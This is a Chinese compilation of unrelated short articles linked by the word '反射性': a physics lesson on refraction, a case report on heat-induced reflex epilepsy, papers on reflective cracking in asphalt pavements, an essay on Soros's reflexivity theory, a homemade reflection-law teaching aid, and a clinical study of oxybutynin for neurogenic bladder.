这个比值反应了介质对光的偏折作用，反应了介质的光学性质的物理量，叫做折射率。

游戏：“找相同”（上面的介质相同都是空气，入射角相同）

“找不同”（下面的介质不同，折射角不同

【设计意图】用游戏方式开展动脑，充分调动学生的积极性。主动发现：不同介质的折射率是不同的。

对折射率的几点说明

a.强调：光从真空进入介质，

若光从介质进入真空会怎样呢？请一位同学上黑板来完成光从玻璃射入光后的折射光线。

学生犹豫了一下，最后做了自己的选择。

教师请他说明理由：光从空气射入介质，折射角小于入射角；光从玻璃射入空气，应该相反，所以折射角大于入射角。

【设计意图】引出光路可逆。表扬学生，让学生的自信心得到增强。

学生实验：用激光仪和激光笔（或用2支激光笔）对比实验：在光的折射中，光路也可逆。

所以，当光从介质射向空气时，入射角 正弦与折射角正弦之比 =

b.真空的折射率为1，其余物质的折射率均大于1.（空气折射率约为1）

研究表明，光在不同介质中的速度不同，这正是发生折射的原因。

某介质的折射率，等于光在真空中的速度C与光在介质中的速度v之比：n=

（三）课堂巩固

录像：隐藏在碗底的硬币在随着水的注入逐渐“现身”

实验：筷子在装了水的烧杯中“折断”

筷子现象请同学们课后思考，教师指导学生画出硬币的光路图，解释碗底的硬币之谜； 乘机问要是渔夫叉鱼，该如何叉？同样，日出时，我们看到的太阳升起时，其实太阳在地平线以下，也是这个道理，都是折射。

【设计意图】教师把一串的实例放在一起，方便学生理解。筷子现象让学生课后思考，以激发学生的学习热情。

天空出现三个太阳，叫做幻日，一个是真正的太阳，其余2个是光经过空中的冰晶（天气很冷时）的折射才出现。有时天空出现彩虹或者套挂的彩虹也是光的折射导致。

【设计意图】与这节课的引入相呼应，点出三个太阳的真正来源。

（四）课堂小结

1.反射现象、反射定律

2.折射现象、折射定律

（1）折射光线与入射光线、法线处在同一平面内；

（2）折射光线与入射光线分别位于法线的两侧；

（3）入射角的正弦与折射角的正弦成正比，即 =常数

3.折射率：

（1）定义式：n= ，反应介质的光学性质的物理量。

强调说明：

适用光从真空射入介质（θ1>θ2），光从介质射入真空时 = ；

介质折射率越大，对光的偏折程度越大；

介质折射率大于1（真空折射率为1，空气中折射率约为1）

（2）决定式：n= ，光在介质中传播速度越大，折射率越小。

儿童热刺激诱发反射性癫痫1例 第7篇

1 病例报告

患儿, 男, 1岁, 因热水浴时反复抽搐4～5天而入院。患儿近4～5天来每于热水浴1～2分钟后出现双眼茫然凝视, 呼之不应, 口唇发绀, 四肢松软, 无抽动, 抱起后数十秒缓解, 嗜睡, 有时伴呕吐, 醒后恢复正常, 无伴发热等。患儿为足月顺产, 生长发育正常, 无癫痫家族史。入院查体:神志清楚, 精神好, 营养发育正常, 心、肺、腹未见异常。脊柱四肢无畸形, 肌力、肌张力正常。腱反射存在, 病理征未引出。实验室检查:血生化、心电图、头颅CT均正常。行24小时动态脑电图检查, 监测中予热刺激诱发实验:在既往相同条件下热水浸浴 (水温约52℃) , 又出现类似发作2次, 实时查体双侧瞳孔扩大, 对光反射迟钝, 心率加快, 同期脑电图见双侧枕区1.5～2.5Hz高-极高波幅慢波节率性发放, 并渐泛化全导, 每次历时40秒左右。诊断:反射性癫痫 (热刺激诱发) 。经去除诱因, 随访2年, 未再发作 (未用药物) 。

2 讨论

反射性癫痫是主要由某种特殊因素触发的癫痫发作, 可分为简单反射性癫痫与复杂反射性癫痫。闪光、阅读、说话、运动、思维、拍打或触摸、浸热水浴及听觉刺激等均可诱发癫痫发作。反射性癫痫发生率不高, 约占癫痫病例的5.1%[1], 而热刺激诱发的反射性癫痫极少, 国内至今未见相关儿童病例的报道。其机制未完全明确, 考虑为感觉性刺激产生的冲动传至原发性感觉投射区产生爆发性点燃, 进而通过中枢神经通路扩散, 引起相应的发作症状。本例诱因明确, 临床症状典型, 诱发实验阳性, 同期脑电图证实为起源于枕区的部分性发作伴泛化, 可诊断为热刺激诱发的反射性癫痫。本例未予药物治疗, 经调低水温, 随访2年, 未再发作。提示去除诱因, 可避免本病发作。

参考文献

反射性教学 第8篇

关键词：沥青路面,半刚性基层,反射性裂缝,防治

沥青路面半刚性基层是采用水泥、石灰等无机结合料稳定材料材料, 经摊铺、碾压而成, 主要用于路面基层, 其强度介于刚性材料 (水泥混凝土) 和柔性材料 (沥青混合料) 之间, 因此称之为半刚性基层。由于其具有较好的板体性和较高的强度, 能够有效提高沥青路面结构的承载能力, 有利于荷载扩散, 降低了路基土的垂直压应力, 且工程造价低等优点, 目前已经广泛应用于我国高等级公路建设。[1]但半刚性材料有着本身某些缺陷和不足, 比如半刚性材料难以克服的干缩和温缩特性, 直接导致半刚性基层开裂, 进而向上发展, 导致沥青面层产生反射裂缝。同时, 从裂缝处雨水会下渗, 并在面层与基层中间积聚, 大大降低了沥青路面与半刚性基层之间的粘结状态, 在动水压力作用下又容易诱发唧泥现象, 从而加速了沥青路面结构的损坏。本文通过对半刚性基层开裂成因、沥青路面反射性裂缝机理的简要分析, 提出半刚性基层沥青路面发射裂缝的防治措施。

1 半刚性基层沥青路面反射性裂缝形成机理

根据资料调查, 半刚性基层沥青路面的反射裂缝有以下特点:

(1) 路面反射裂缝的形成与半刚性基层施工的质量及基层材料温缩性大小有关, 是一种面层贯通式的连续性裂缝;裂缝一般成横向条状出现, 且轴线较顺直;

(2) 路面反射裂缝间距绝大多数为5～6m, 呈现出一定的规律性;

(3) 路面反射裂缝与半刚性基层收缩裂缝基本吻合, 但偶尔出现错动3～15cm距离的现象发生。

1.1 无机结合料稳定层开裂机理

关于无机结合料稳定层开裂机理有种种论述, 根据对使用中的半刚性路面的使用情况进行调查, 提出了一个普遍认同的论述。半刚性基层由于干缩、温度开裂作用, 再加上半刚性基层是具有一定刚度、强度的整层, 使其成为一个有规则间距及确定宽度的板块模型[3], 即该层可细划为其裂缝 (接缝) 的传荷载能力依赖于板宽的板块。该层具有较高的弯曲应力及回弹模量 (15000～30000MPa) , 这样就使路基土顶面的垂直压应力降低了。当无机结合料稳定层的抗弯曲疲劳性能较低或无机结合料稳定层较薄时, 沥青路面易产生反射裂缝。

1.2 反射裂缝形成的力学机理

由于横向开裂, 使半刚性路面成为被裂缝隔开的不连续板结构。板块之间的剪应力靠裂缝表面啮合实现, 尤其是在温度变化不均的影响下, 使基层中对应产生不同的应力分布。一旦传递荷载能力不足时, 裂缝表面处拉应力消失, 板中间裂缝的来应变相比垂直于裂缝的拉应变就小得多。同时, 在开裂处路基垂直剪应力增加, 使得路面受力状态更加不利。在开裂以后, 其扩展方向是由下至上贯穿的, 一般会反射到面层, 造成路面损坏。

2 半刚性基层沥青路面反射性裂缝的防治措施

通过以上的分析, 半刚性基层沥青路面反射性裂缝主要是由基层自身开裂引起的, 所以防治半刚性基层沥青路面反射性裂缝要从基层入手。

2.1 设置预切缝措施

为了降低由干缩或温度引起的开裂幅度, 可以人为地缩短裂缝间距, 把总的裂缝张开幅度分摊到大量的细裂缝上[2,4]。可以在铺筑沥青面层前设置预切缝以减小基层的“相对长度”, 减小基层内部累积的温缩、干缩应力效应, 并可以使基层的约束条件得到有效地削弱。预切缝的难题是如何控制预切缝间距, 间距应当适中, 如果间距太长或太短不仅可能会增加基层开裂的可能性还会使接缝增多, 不仅对施工不利, 还影响路面的整体强度, 根据经验最好设置间距在3m左右。一般来说设置接缝效果较好, 但是在施工时必须确保所有裂缝能同时张开大体相同的幅度, 这就要接缝处能产生足够大的拉应力并在此位置产生开裂。

2.2 在沥青与半刚性基层之间设置阻止裂缝传递的隔离层措施

通过在沥青层与半刚性基层之间设置隔离层, 取消两层之间直接接触能够一方面削弱反射裂缝的扩张, 同时大大减缓半刚性基层材料裂缝反射到沥青面层。如在铺筑沥青层前, 在半刚性层上铺一层土工格栅或者玻纤格栅, 用以增强沥青层的抗开裂性能。由于格栅的网孔较大, 能够式沥青层与半刚性层之间充分接触, 同时沥青混合料颗粒被限制在网格中, 不仅有效阻碍裂缝的开张, 还提高了沥青层的疲劳性能。

3 半刚性基层施工注意问题

实践证明, 相当数量的反射裂缝产生的直接原因是施工质量出现问题, 因而确保半刚性基层沥青路面施工质量尤为重要。而众所周知, 半刚性基层的收缩裂缝绝大多数来源于干缩。为此应该注意以下一些问题, 在施工过程中严防半刚性基层出现开裂, 从而有效防止反射裂缝。

(1) 采用收缩性小、强度适中、抗冲刷、开裂性能好的无机结合料稳定集料基层。严格控制粒料中不包含土, 减少细粉的含量。

(2) 严格控制无机结合料稳定集料施工时的含水量, 而碾压式每增加1%水泥剂量对干缩系数的影响。实践证明, 施工期间的材料干缩是造成基层和底基层开裂的最重要原因。

(3) 加强对碾压成型的半刚性基层、底基层的养生, 成型以后立即喷洒乳化沥青养生剂, 同时必须特别注意透层油的作用, 即使铺筑了下封层, 透层油也不能省掉。如不能马上铺筑沥青层的话, 宜在透层油的基础上在铺筑乳化沥青稀浆封层或者改性乳化沥青稀浆封层的下封层。

(4) 在半刚性基层上面设置高沥青含量的细级配沥青混凝土应力扩散层。其厚度一般不小于10mm。但只宜设置在较厚沥青层的路面下。并尽可能快速的在半刚性基层上面铺筑沥青层, 连续施工, 确保界面连续, 并且使沥青层与基层具有较高粘结性, 使之成为一个整体。

(5) 确保沥青层的层数在基层铺筑后连续铺筑完成。

4 结论

半刚性基层沥青路面反射性裂缝的防治是很困难的, 无论采取怎样的措施都会出现裂缝。问题是通过对反射性裂缝形成机理的深度理解, 通过工程实践, 总结出裂缝的防治方法, 从而有效地防止或避免半刚性基层沥青路面反射性裂缝的不利影响。

参考文献

[1]沙爱民.半刚性路面材料结构与性能[M].北京:人民交通出版社, 1998.

[2]王哲人.沥青路面工程[M].北京:人民交通出版社, 2005.

[3]郑健龙.沥青路面抗裂设计理论与方法[M].北京:人民交通出版社, 2002.

反射性教学 第9篇

1 沥青加铺层反射性裂缝的机理分析与防止措施

1.1 增加沥青加铺厚度

增加沥青加铺厚度, 是减少反射裂缝最常见也是一种行之有效的方法。增加沥青加铺层的厚度, 一方面可以减少旧路面结构的温度变化, 降低接缝处沥青加铺层的温度拉 (弯拉) 应力, 另一方面可以增加路面结构的弯曲刚度, 降级接缝处的弯沉及弯沉差, 减少加铺层的剪切应力。同时, 对于加铺层来说, 裂缝由加铺层底面扩展到顶面需要经历较长的距离与时间, 也即可以延长使用寿命。

1.2 设置土合成材料夹层

土工合成材料夹层一般设置在沥青加铺层及旧水泥混凝土路面板之间, 常用的有土工布、土工格栅等, 土工合成材料的厚度较薄, 一般在2mm~5mm之间, 土工织物的模量约为10MPa~160MPa, 土工格栅的摸量约为900 MPa~2500 MPa, 他们的特点是变形能力较强, 在水平方向上可以承受较大的拉应力, 而在垂直向上上则刚度较小, 抗弯拉及抗剪切能力低, 其力学性能与薄膜类似。

1.3 设置应力吸收夹层 (SAMI)

国外也采用在旧水泥混凝土板沥青加铺层之间设置一层橡胶沥青、改性沥青或柔软沥青混凝土这类应力吸收中间层 (SAMI) 来防止反射裂缝, 具有一定效果, 证明其可以减少和延缓反射裂缝。应力吸收层厚度一般为2cm~3 cm, 具有模量相对较小, 较柔软, 变形能力较强, 可承受较大的变形而不断裂的特点。此类应力吸收层模量越大, 其防裂效果越差, 所以为了防止沥青加铺层的反射裂缝, 宜选模量低、抗剪性能好、柔性大的、变形能力强的材料为应力吸收层。

1.4 铺筑级配碎石过渡层

级配碎石作为旧水泥混凝土板和沥青铺层之间的过渡层在加拿大、南非等国家几我国的泸宁高速公路部分试验段已得到了应用, 证明其防射裂缝效果良好。

1) 级配碎石的隔离作用大大改善了旧水泥混凝土路面的温度准状况。由于碎石过渡层较厚, 一般在10~1cm, 级配碎石的加入使得旧水泥混凝土板遭受的温度变化、温度变化速率及温度剃度大大降低, 水泥混凝土板的温度收缩应力及温度翘曲应力都大大减少了, 因而减少了旧水泥混凝土板对沥青加铺层的影响。

2) 从理论上讲, 可以认为级配碎石收缩系数极小, 几乎为零, 加上其本身并不传递应力和位移, 因此认为消散、吸收单纯有环境因素变化, 尤其是温度骤将情况下列裂纹尖端的应力及应变。

1.5 铺筑特粗径沥青碎石裂缝缓解层

美国沥青协会建议采用AM75、及AM50特粗粒经沥青碎石铺筑于旧水泥混凝土路面与沥青加铺层之间, 作为裂缝缓解层。沥青 (针对度40~50) 的含量为1.5%~3.0%, 混合料含有25%~35%的连通空隙, 阻碍裂缝尖端的扩展, 因而可提供缓解裂缝扩展的作用, 并且该结构层具有一定的厚度, 降低温度对于水泥混凝土的影响, 减少水泥混凝土板接缝张开量和翘曲量, 并且减少接缝连接处的弯沉及弯沉差, 从而减少反射裂缝产生的可能性。

沥青碎石混合集料由坚硬、多棱角的碎石、轧制砾石或矿渣组成。混合料的拌和温度为93℃~121℃, 拌和时间不超过30S。采用4t~10t的钢轮压路机, 碾压1~3遍。

1.6 旧水泥混凝土板上半刚性基层预切缝并铺筑土合成材料

由于一些旧水泥混凝土路面的整理强度过底, 必须先在其上铺住一层补强半刚性基层, 然后在加铺沥青面层, 但从实际工程来看, 这种不采用其他防列措施, 直接加铺的方法并不好, 由于温度应力基层干缩应力的影响, 在旧水泥混凝土板接缝处的半刚性基层及沥青面层仍不可避免的会出现反射裂缝, 因此可采用在半刚性补强基层顶面进行预切缝在加铺条壮土合成材料的方法进行处理。具体方法在铺筑沥青加铺层之前将旧水泥混土路面上的半刚性基层按一定间距 (10~15m) 设置预切深5~8m的缝, 并在接缝上铺约1m宽的土工合成材料, 以减少加铺层中的反射裂缝。

1.7 旧水泥混凝土板破碎稳定

在旧水泥混凝土板结够损坏严重, 断裂率较高, 对损坏板进行修复后再采用其它措施已不经济时, 可以对旧水泥混凝土板进行破碎和稳定处理。由于破碎板块尺寸减小, 温度下降时的收缩位移大大降低, 从而也降低了加铺层的拉应力。但破碎板的稳定性是施工关键所在, 若破碎板有松动现象, 对其上的沥青加铺层也会带来不利影响。

旧水泥混凝土路面采用带有改进型桩靴的打桩机、安装在拖拉机牵引的拖车上的落锤、截断机落或滑动落锤来进行破碎, 也可采用冲击压路机进行破碎稳固。旧水泥混凝土路面的破碎结果应为边长为45~60cm大小块, 偶尔有一些75cm左右的块也可以, 同时, 大于60cm的块不超过70%。碎块并非一般意义上的明显碎块, 而是裂缝贯穿块与块之间形成嵌锁结构从而保全原路面具有的大部分结构强度。破碎型式应既能减少板的过度位移 (垂直和水平) , 又能使板作为加铺层的稳定基础使板保持足够结构完整性。

水泥混混凝土板在水平方向所受约束愈小, 破碎效果愈好, 故在施工中选定从路肩至行车道的顺序进行破碎。水泥混凝土路面经过破碎以后, 应将混凝土块稳固到基层上。最常用稳固板的方法是用15t轮胎压路机碾压5次。压路机的碾压速度小于2.5m/s。避免过度的碾压, 以免影响破碎板之间的嵌锁效果。

2 结语

反射裂缝是沥青加铺层最主要之一, 控制反射裂缝已成为旧水泥混凝土路面加铺层设计的关键。常用的措施除增加沥加铺层的厚度并选用优质沥青和配置抗裂性能好的沥青面层混合料外, 还主要采用了能吸收和消散裂尖端应力的夹层及裂缝缓解层, 如在加铺层和旧水泥混凝土路面之间设置土工合成材料织物、钢丝或铺一层弹性模量低、抗拉性能的橡胶沥青应力吸收层, 也可在沥青加铺层和水泥混凝土路面之间铺设级配碎石过度层或特粗粒径沥青碎石裂缝缓解层, 为了消除旧水泥混凝土板接缝处的应力集中现象, 还可对旧水泥混凝土板进行破碎处理, 这样可以有效的减少反射裂缝的数量和减缓反射裂缝的发展速度。

参考文献

[1]土合共成材料在改造旧水泥混凝土路面中的应用研究.公路, 2008.

反射性教学 第10篇

一、对市场原教旨主义者的批判金融市场的非均衡性

索罗斯说:我不否认均衡, 但我把它看作是起限制作用的, 我认为价格并不能使市场出清。市场中总有不满意的买者和卖者, 要么他们未能执行全部委托单, 要么是他们未能下定决心。经济学理论告诉我们, 价格上升往往会使需求减少, 供给增加。股票市场就不是这样, 价格上升会增加购买者的紧张心理, 反之, 价格下降则会降低购买者的紧张心理, 从而导致从众行为的出现。

索罗斯认为金融市场与其他市场的不同之处在于:市场参与者要对付的不是给定的数量, 他们要把未来贴现, 而未来则依赖于现在市场如何贴现它。在信息缺乏的情况下, 参与者只能根据判断或者偏见做出决策, 而这些决策反过来又使得与决策有关的主要内容变得更加不确定。金融市场中的参与者非但不是理性的, 而且还不能避免在他们的决策中引入某种偏见。而参与者的偏见会影响到基本面, 从而影响到现实的价格。

二、反射性的来源人类认知的缺陷与易错性

索罗斯认为人类对真实的世界存在着认知的缺陷, 人类与世界之间互相影响的行为分为两种:认知和操控功能。认知和操控功能之间的相互作用是反射性产生的来源。索罗斯把人类寄望了解所生存的世界的活动称为认知功能, 把人类试图影响改变世界的活动称为参与功能即“操控功能”。他认为正是两者的相互影响产生了反射性。

“当认知功能和操控功能同时运行时, 二者之间就会相互影响。在经由认知功能产生知识的过程中, 必须把各种社会现象看做彼此之间相互独立, 只有这样, 现象才会被当做事实, 观察者才会对事实做出相应的判断。类似地, 决策也需要基于知识才能产生理想的结果。然而, 当两种功能同时作用时, 现象就不仅仅包括事实了, 其中还含有对未来的目标和预期。同时索罗斯认为, 人类的认识天生是不完美的, 所获取的知识并不足以指引其行动, 用人类自身的经验处理认识现实反而使得现实更加复杂, 这样人类的决策无可避免地要存在易错性, 而他所重视的反射性过程正是易错性的一种特殊的状态。

三、反射性理论对危机的解读

索罗斯认为反射性在金融市场上体现得最明显, 也最适合研究。然而即便是在金融市场, 能被证明的反身性过程也是间歇出现的。我们可以分两种情况, 一种是平常每天都例行发生的事件, 另一种是例外的反身性过程。后者很重要, 因为历史可能因此改变路径。索罗斯金融投资活动中重视的只是那些具有反射性的历史性事件。对于这种历史性事件趋势的准确把握让索罗斯的投资获得了惊人的收益。根据反射性过程的特征索罗斯将观察经历到的反射性过程分为暴涨暴跌、超级泡沫和循环往复的持续非均衡过程。其中最吸引人的就是他运用反射性理论解读联合大企业繁荣、国际银行业危机及08年次贷危机的暴涨暴跌模型和超级泡沫模型。

早在2006年索罗斯对华演讲及座谈中就提到要警惕美国住房泡沫引起的全球经济衰退。在08年次贷危机爆发之初, 很多经济学家认为那只是一次局部性的金融危机, 索罗斯就已经撰文呼吁:我们正在经历20世纪30年代以来最严重的金融危机, 当前的危机标志着建立在以美元为国际储备货币基础上的信贷扩张时代已经终结。这场危机宣告了持续25年以上的超级繁荣达到终点。索罗斯宣称:危机将带来深远的影响, 这很不寻常, 这是一个时代的终结。事实证明索罗斯确是走在了监管当局之前, 洞察到了市场的缺陷。

在对次贷危机的解读中, 索罗斯认为危机中存在着两个泡沫, 一个是房地产泡沫, 一个是所谓的长期超级泡沫。房地产泡沫遵循的是暴涨暴跌模型。暴涨暴跌首先始于一种流行的偏见和流行的趋势。在联合大企业繁荣的案例中, 流行的偏见是对每股收益快速增长的过度偏好, 而不去关注受益是如何获得的;流行的趋势是, 一些公司通过用高估值的股票收购其他市盈率较低的公司, 从而创造出每股收益高增长的能力。暴涨暴跌模型呈现出一种非常不对称的形状。它开始时速度较慢, 逐渐加速, 然后陡然下跌, 下跌时比上涨时要迅疾得多。在国际银行业危机中也可以看到相同的走势过程。它遵循了同样的非对称路径在繁荣阶段缓慢开始, 逐步加速, 然后是真实性回归, 继而是朦胧期, 最后是灾难性的崩盘。

索罗斯认为由于金融市场并不会趋于均衡, 所以就会不断地引发一些危机。由于每一次危机中发达国家信贷扩张时不对称激励, 把世界的储蓄吸纳到中心来, 使美国维持了长期的经常贸易赤字, 进一步累积了引发更大的危机的长期超级泡沫。根据索罗斯的理论, 超级泡沫从八十年代监管放松之后就开设发酵了, 超级泡沫中蕴含了三个趋势, 并且每个都至少存在一项缺陷。第一个流行趋势是信贷扩张在长期会永不停止, 这表现为房地产和消费贷款的贷款与价值比率一直不断上升, 也体现为信贷余额占国内生产总值的比例不断上升。这一趋势是应对大萧条而制定的反周期政策的结果。每当银行体系限于危机或者衰退隐隐若现时, 金融当局就会干预, 对处于危机的机构进行救助, 并刺激经济。他们的干预对信贷产生了不对称的激励结果, 这就是道德风险。第二个流行趋势是金融市场的全球化。第三个流行趋势是金融监管的淡出和金融创新的加速。我们可以看到, 全球化同样是不对称的结构, 它有利于美国和其他一些处于金融体系中心的发达国家, 不利于那些居于外围的欠发达经济体。人们并没普遍认识到中心和外围的不对称, 但是这对超级泡沫的发展起到了推波助澜的作用。美元为全球的主要国际储备货币, 因此, 美国能够追求反周期的政策, 采取大量进口, 财政赤字的经济政策。而发展中国家, 以及其他较弱小的发达国家却只能选择量入为出的生活方式。

四、结论与启示

索罗斯反射性理论为我们理解并解读金融市场提供了一种有别于传统的均衡理论的新的范式。反射性现象经常在金融市场中出现, 但并不是金融市场中的常态, 而像超级泡沫这样的反射性过程发生时, 它的持续影响可能比人们想象的更加长久。因为在超级泡沫中根本没有一个可以回归的正常的接近均衡的状态, 在这种情况下各种不确定性迅速增加。导致超级泡沫产生的根源非均衡的国际金融体系, 金融创新的风险、道德的风险、监管的缺失等等依旧存在。每一次对市场的干预和调控都影响到了我们所处的现实, 貌似拯救经济脱离危机的救市良方也许已经酝酿了新的泡沫。

摘要：本文主要论述了索罗斯的反射性理论及他利用反射性理论对危机的解读, 主要的脉络和思路如下, 索罗斯从对一般均衡论的批判中提出了金融市场非均衡的观点。他认为传统理论无法解释金融市场中存在的大量非均衡现象, 为此索罗斯提出了自己独特的反射性理论并将之运用于金融市场实以检验其正确性。索罗斯出色的投资业绩及超前的危机洞察能力证明了他所提出的反射性理论确有可取之处。他所构建的解读危机的暴涨暴跌模型和超级泡沫模型对于我们监管当局认识金融市场及调控经济危机都具有重要的借鉴意义。

关键词：市场非均衡,反射性,暴涨暴跌,超级泡沫

参考文献

[1][美]乔治.索罗斯, 王宇译.开放社会:改革全球资本主义[M].北京, 商务印书馆, 2001.

[2][美]乔治.索罗斯, 刘丽娜, 綦相译.索罗斯带你走出金融危机:the credit crisis of 2008 and what it means[M].北京:机械工业出版社, 2009.

[3][美]乔治.索罗斯, 孙忠, 侯纯译.金融炼金术[M].海口:海南出版社, 1999.

反射性教学 第11篇

1.该器材只能探究光的反射定律中的两条内容

（1）反射光线、入射光线分居在法线两侧.

（2）反射角等于入射角；但无法探究反射光线、入射光线、法线在同一平面上，因为实验室配备的这套器材是一块完整的铁板，它无法向前、后翻折.

2.该器材比较笨重，因而作为演示实验器材使用起来不方便，同时可见度也不够好，不利于学生观察其实验现象.

3.该套实验器材价格比较贵，广大农村中小学由于经费比较紧张，可能无法配备……

鉴于以上种种原因，笔者自制了一个探究光的反射定律实验的教具，该教具克服了上述缺陷.下面，笔者来谈谈如何制作一个价格低廉、方便实用的光的反射定律的实验器材.

制作材料

平整的小木板2块，合页2个，白纸（A4纸）1张，胶水1瓶，量角器1个，铅笔1支，螺丝钉8枚.

制作步骤

1.取两块厚薄一样的平整小木板，用合页和螺丝钉将其固定，使其可以沿两块小木板中央的缝隙前后翻折；

2.在平整的小木板上用胶水粘贴好一张干净的白纸（A4纸）；

3.以两块小木板中央缝隙的底端为入射点，在两块小木板上的白纸两边用量角器分别画出30°、45°、60°角的几条射线.此射线分别作为入射光线和反射光线.这样一个方便实用的光的反射定律的实验器材就制作好了.

附图片如下：

操作过程

（1）将自制教具竖立放在一块平面镜上，先将教具摊开放置，使左右两块木板处在同一平面上，教具中央缝隙作为法线，缝隙底部与平面镜相交处作为入射点；

（2）将一支激光笔套入分光器中射出一束光束，让光束沿着教具木板白纸上的任意一条射线朝入射点的镜面上照射，学生观察其反射光线所在的位置.记下反射角与入射角的大小.

（3）将反射光线所在平面的那块木板向前、后翻折，学生观察该板面上是否还能看见其反射光线.

（4）重复2、3步骤，就能得出光的反射定律的内容.

教具优点

（1）制作材料易找，价格便宜，基本上不需要什么成本；

（2）教具制作过程简便，不需要什么技术，而且实用性强；

（3）教具小巧轻便，便于携带；既可作教师演示实验的教具，也可作学生分组实验教具；

（4）操作过程简单，容易操作，实验现象明显.

反射性教学 第12篇

1 资料与方法

1.1 临床资料

收集76例逼尿肌反射亢进型的神经源性膀胱功能障碍患者, 男42例、女34例, 年龄17~66岁, 平均年龄 (44.6±7.2) 岁;其中58例排尿困难、64例尿频、32例尿失禁。所有患者在入选前均已排除伴有严重心血管、肝肾功能不全及尿路感染等疾病。将76例患者随机均分为4组, 4组患者在性别、年龄、病情等方面比较差异均无显著性, P>0.05, 具有可比性。

1.2 方法

将76例患者随机均分为4组, 对照组单纯口服维生素B12 10mg/次, 3次/d的治疗;在对照组治疗基础上奥昔布宁口服治疗A组再给予5mg/次, 1次/d的治疗;奥昔布宁口服治疗组B第1周予以5mg/次, 1次/d的治疗, 1周后予以15mg/次, 1次/d的治疗;奥昔布宁口服治疗组C组第1周予以5mg/次, 1次/d的治疗, 1周后再予以30mg/次, 1次/d的治疗, 全部疗程12周。对4组患者治疗后的临床效果及药物毒副作用进行监测统计。

1.3 统计学处理

所有数据均由计算机录入, 由SPSS13.0统计软件处理, 计数资料进行χ2检验, 计量资料进行t检验, 以P<0.05为差异具有统计学意义。

2 结果

4组患者治疗结束后的各临床参数变化见表1。

注:治疗结束后, 3组奥昔布宁口服治疗患者的排尿困难、尿频及尿失禁改善情况均显著优于对照组。组内比较可以得出, 奥昔布宁B组治疗效果优于奥昔布宁A组, 奥昔布宁治疗C组的疗效最好, 组内及组间比较差异均有显著性, P<0.05。这说明随着奥昔布宁用药剂量的增加, 治疗效果也将更好

4组患者均出现不同的毒副作用, 与对照组比较, 接受奥昔布宁口服治疗的3组患者出现口干、面色潮红、便秘、头痛及尿路感染的例数增加, 又以用药剂量最大的奥昔布宁口服治疗C组最为明显, 但奥昔布宁口服治疗组与对照组及3组组内比较差异无显著性, P>0.05, 不具统计学意义, 具体数据见表2。

3 讨论

参考文献

[1]魏金星, 张雪培.膀胱自扩大术治疗高反射性神经原性膀胱[J].中华泌尿外科杂志, 2005, 26 (6) :412-414.

[2]黄昭明, 郑少斌.神经原性膀胱的治疗进展[J].中华泌尿外科杂志, 2000, 21 (4) :249-251.